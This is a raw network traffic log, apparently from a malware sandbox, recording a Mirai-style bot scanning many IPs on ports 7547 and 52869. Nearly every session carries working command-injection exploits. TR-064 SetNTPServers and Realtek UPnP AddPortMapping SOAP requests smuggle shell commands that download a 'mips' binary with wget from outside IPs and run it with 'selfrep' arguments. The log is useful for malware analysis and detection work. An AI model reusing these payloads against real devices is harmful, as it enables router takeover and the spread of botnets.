Apr 15, 2024 08:53:10.727284908 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
736	192.168.2.13	57836	220.120.65.215	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:10.730758905 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
737	192.168.2.13	52470	86.177.99.207	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:10.760571957 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
738	192.168.2.13	56914	118.210.102.135	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:10.815418005 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:11.148828983 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 16:53:10 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
739	192.168.2.13	50484	164.250.163.134	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:10.881220102 CEST	928	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:11.076914072 CEST	1288	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=UTF-8 Content-Length: 11709 Connection: close P3P: CP="CAO PSA OUR" Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39 76 2b 63 2f 63 75 66 50 4d 76 50 50 4d 63 75 66 4f 4d 70 41 49 41 53 45 67 42 49 53 41 45 42 41 43 73 30 64 67 6d 64 6e 58 51 42 55 51 41 6b 4a 41 43 41 67 42 49 53 41 45 49 45 4a 58 4a 78 41 43 51 6b 41 49 43 41 45 68 73 41 41 49 69 4e 41 58 6f 42 46 56 42 53 45 67 42 49 53 41 45 42 41 43 49 6e 54 31 41 53 45 67 Data Ascii: <html><head><title>APPLICATION BLOCKED</title><style>#c{border:3px solid #aaa;background-color:#fff;margin:20;padding:20;font-family:Tahoma,Helvetica,Arial,sans-serif;font-size:12px;}h1,h2,h3,h4,h5,h6,h7,h8{font-weight:bold;}h2,h3{font-size:20px;}h1{text-align:center;font-size:22px;color:#cc0000;}h2{color:#330066;}h3{color:#666;}h4{font-size:16px;color:#666;}h5{margin:20;text-align:left;font-size:12px;color:#666;}h6{font-size:16px;color:#cc0000;}h7{font-size:14px;color:#330066;}h8{text-align:center;font-size:56px;color:#330066;font-weight:bold;text-decoration:underline;}b{font-size:16px;font-weight:bold;color:#cc0000;}</style></head><body bgcolor="#e7e8e9"><div id="c"><h1><img width="500" src="data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAABfCAYAAAAeejUTAAAWlUlEQVR4Xu1dCfS3xRR+EiHKkiIlaaOylEJKSegoW4h0OKXQkexLlpAttKGOIxWyZk9oQ2RrIUupJEJUotKiIiHOU++cM9/0LjN35t1+33PP+Z9v+c/cufPMvPPMcufOMpAIASEgBISAEBACs0dgmdnXQBUQAkJACAgBISAEIEJXJxACQkAICAEhsAAIiNAXoBFVBSEgBISAEBACInT1ASEg

Session ID	Source IP	Source Port	Destination IP	Destination Port
740	192.168.2.13	54730	75.187.139.165	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:10.890522957 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
741	192.168.2.13	57838	118.63.64.113	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:11.017924070 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
742	192.168.2.13	50490	164.250.163.134	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:11.081568003 CEST	918	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:11.277132988 CEST	1288	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=UTF-8 Content-Length: 11709 Connection: close P3P: CP="CAO PSA OUR" Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39 76 2b 63 2f 63 75 66 50 4d 76 50 50 4d 63 75 66 4f 4d 70 41 49 41 53 45 67 42 49 53 41 45 42 41 43 73 30 64 67 6d 64 6e 58 51 42 55 51 41 6b 4a 41 43 41 67 42 49 53 41 45 49 45 4a 58 4a 78 41 43 51 6b 41 49 43 41 45 68 73 41 41 49 69 4e 41 58 6f 42 46 56 42 53 45 67 42 49 53 41 45 42 41 43 49 6e 54 31 41 53 45 67 Data Ascii: <html><head><title>APPLICATION BLOCKED</title><style>#c{border:3px solid #aaa;background-color:#fff;margin:20;padding:20;font-family:Tahoma,Helvetica,Arial,sans-serif;font-size:12px;}h1,h2,h3,h4,h5,h6,h7,h8{font-weight:bold;}h2,h3{font-size:20px;}h1{text-align:center;font-size:22px;color:#cc0000;}h2{color:#330066;}h3{color:#666;}h4{font-size:16px;color:#666;}h5{margin:20;text-align:left;font-size:12px;color:#666;}h6{font-size:16px;color:#cc0000;}h7{font-size:14px;color:#330066;}h8{text-align:center;font-size:56px;color:#330066;font-weight:bold;text-decoration:underline;}b{font-size:16px;font-weight:bold;color:#cc0000;}</style></head><body bgcolor="#e7e8e9"><div id="c"><h1><img width="500" src="data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAABfCAYAAAAeejUTAAAWlUlEQVR4Xu1dCfS3xRR+EiHKkiIlaaOylEJKSegoW4h0OKXQkexLlpAttKGOIxWyZk9oQ2RrIUupJEJUotKiIiHOU++cM9/0LjN35t1+33PP+Z9v+c/cufPMvPPMcufOMpAIASEgBISAEBACs0dgmdnXQBUQAkJACAgBISAEIEJXJxACQkAICAEhsAAIiNAXoBFVBSEgBISAEBACInT1ASEg

Session ID	Source IP	Source Port	Destination IP	Destination Port
743	192.168.2.13	43686	181.229.6.49	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:11.101622105 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:17.924398899 CEST	512	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
744	192.168.2.13	52000	174.26.220.214	7547

Timestamp	Bytes transferred	Direction	Data
